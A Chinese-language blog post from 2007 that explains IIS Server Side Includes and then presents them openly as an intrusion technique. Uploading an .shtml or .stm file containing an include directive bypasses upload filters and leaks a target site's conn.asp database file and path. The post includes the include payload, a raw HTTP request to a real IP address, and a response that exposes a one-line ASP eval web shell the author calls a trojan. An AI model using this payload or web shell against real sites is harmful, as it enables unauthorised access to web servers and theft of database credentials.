我们先来看一份关于SSI的介绍:
SSI有什么用?

之所以要扯到ssi,是因为shtml--server-parsed HTML 的首字母缩略词。包含有嵌入式服务器方包含命令的 HTML 文本。在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改。

shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来

比如:你可以在SHTML文件中用SSI指令引用其他的html文件(#include ),服务器传送给客户端的文件,是已经解释的SHTML不会有SSI指令。它实现了HTML所没有的功能,就是可以实现了动态的SHTML,可以说是HTML的一种进化吧。像新浪的新闻系统就是这样的,新闻内容是固定的但它上面的广告和菜单等就是用#include引用进来的。

目前,主要有以下几种用用途:

1、显示服务器端环境变量<#echo>

2、将文本内容直接插入到文档中<#include>

3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)

4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句

大家都知道ISAPI在默认情况下有很多危险的扩展,比如:
   ASP ASA CER CDX,都可以执行ASP脚本代码
在程序不允许上传这些扩展的情况下我们可以上传一个stm文件或者shtml, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件或者shtml文件, conn.asp就一览无遗, 数据库路径也就到手啦!

并且又看了那篇shtml的介绍后,恍然大悟,终于明白了!
原来就是如上所说的,
<!--#include file="conn.asp"-->
  就是一条SSI指令,其作用是将"conn.asp"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示conn.asp其中的内容。
我在本地试验成功!在我的iis目录下建了一个test.shtml文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我的一个木马文件ok.asp
在浏览器中请求test.shtml,没有什么反映,一片空白。
但是一查看源代码,狂晕,原来就是我的asp文件的内容!
这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,
但是一个前提是服务器的对stm或者shtml的扩展没有删除,还有一个就是必须开启“在服务端包含文件”WEB服务扩展。

GET /test.shtml HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 221.195.40.43
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Tue, 14 Aug 2007 01:57:18 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22
Content-Type: text/html

<%eval(request("#"))%>

posted on 2007-08-14 10:05  %5C  阅读(290)  评论(0编辑  收藏  举报